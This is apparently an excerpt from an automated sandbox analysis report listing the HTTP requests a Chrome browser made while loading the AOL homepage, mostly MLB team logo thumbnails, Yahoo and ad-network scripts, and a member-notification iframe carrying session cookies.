https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FLaVK5.znBhNMAKDUJz1a2g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181030%2F500x500%2Fceltics_wbg.png&client=76f99bdb8f78cd44cc0b&signature=9ca02475456bf5ddb0d57685bd4170c582005b73 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkDiXli.D_WDnpsc8QwxvBg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190409%2F500x500%2Fgiants_s.png&client=76f99bdb8f78cd44cc0b&signature=a5db9adb92297dcb97c8f99b467d5c3f3f79992b HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fd.AWj8FuN2V4xyoJwzDPGQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Foakland_a_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=1e4049ff055d73d3c2d44d2d8fbe52423c466b52 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F_f.0rX.8xWRSA.z3Dpizcw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20200508%2F500x500%2Fpadres_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=7a024194b9142763655abfd6ed1e3e4f6495bf83 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkSFKSLh2AAsN66Xe9ynyIA--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190312%2F500x500%2Fpirates_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=d43580e1cb031eac0937777fb019d65cc8aa5e92 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FJXstQIXskrijadWN4CrVWw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20200323%2F500x500%2Fbrewers_wbg.png&client=76f99bdb8f78cd44cc0b&signature=56ba0bfafd8e5d4e164cb8997565cb39aeac59ae HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkMGV8nhIDPhon8NaaEH84Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20230811%2FMLB%2F500%2Frockies_wbg.png&client=76f99bdb8f78cd44cc0b&signature=da5ae335648275dd00d08fc5f3e80e3c24b0cb45 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FEymZRBHvGs3_SkFA6laCUw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fmarlins_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=a962b344615cb6a98b4175735f4a69db77f28b25 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsQqawBV36sXqpGuGwXrDbw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fcincinnati_reds_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=c3d45d0ff820b44e19dcc56cec51d222b1fbf9da HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FOHTDIcS3OqqJHOtudo3U_g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20211123%2F500x500%2FBoston-Red-Sox_wbg.png&client=76f99bdb8f78cd44cc0b&signature=3196918a1fe607d3480e4199512d4c82a7361c33 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F9OD88Iedd3JWl5h_W4111g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190314%2F500x500%2Frangers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=09bdc4657cedb149a942b53e9557602fa6a610d4 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kj/js/dispatcherWidget.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/f10d509c/d3decajspqn3ue.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkDiXli.D_WDnpsc8QwxvBg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190409%2F500x500%2Fgiants_s.png&client=76f99bdb8f78cd44cc0b&signature=a5db9adb92297dcb97c8f99b467d5c3f3f79992b HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FPMQsnNgc41c_GbNQ1JO_LQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190403%2F500x500%2Fphillies_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=c02d09651346a22345d45414bf6990886bbdd7db HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F2s1JVbQT4jK7vnmSdH51yw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190307%2F500x500%2Frays_wbg.png&client=76f99bdb8f78cd44cc0b&signature=878df353f7cafc11bf0dc707a2dea4918f56cd38 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F7K_tu.SMGj_akw2SJ_wa7Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fmariners_wbg.png&client=76f99bdb8f78cd44cc0b&signature=2b8a377cb94691fc5f98ff850b130d1f2ccf1ea3 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkSFKSLh2AAsN66Xe9ynyIA--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190312%2F500x500%2Fpirates_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=d43580e1cb031eac0937777fb019d65cc8aa5e92 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FJXstQIXskrijadWN4CrVWw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20200323%2F500x500%2Fbrewers_wbg.png&client=76f99bdb8f78cd44cc0b&signature=56ba0bfafd8e5d4e164cb8997565cb39aeac59ae HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FEymZRBHvGs3_SkFA6laCUw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fmarlins_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=a962b344615cb6a98b4175735f4a69db77f28b25 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FIjw0_3b8a1CMPGSAXMtS8g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fyankees_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=ff1d4fa8605c9733c7da8efc8f7f5acc20916320 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FOHTDIcS3OqqJHOtudo3U_g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20211123%2F500x500%2FBoston-Red-Sox_wbg.png&client=76f99bdb8f78cd44cc0b&signature=3196918a1fe607d3480e4199512d4c82a7361c33 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rx/ev/builds/1.6.29/pframe.html HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/js/gpt.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/prebid/prebid-1.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FXHFwznD4f5UxmqWl6KykpQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fwhitesox_wbg.png&client=76f99bdb8f78cd44cc0b&signature=86515300c6be95bc1e98a2bf808cddea0b19a784 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FCxYOsaj1HyPgJWfNqhuFcw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fbluejays_wbg.png&client=76f99bdb8f78cd44cc0b&signature=7415fbceb2d3013c9826cc01a7c86cbbca97a6ab HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /offers/aolHomepage/stickyFooter HTTP/1.1Host: membernotifications.aol.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22
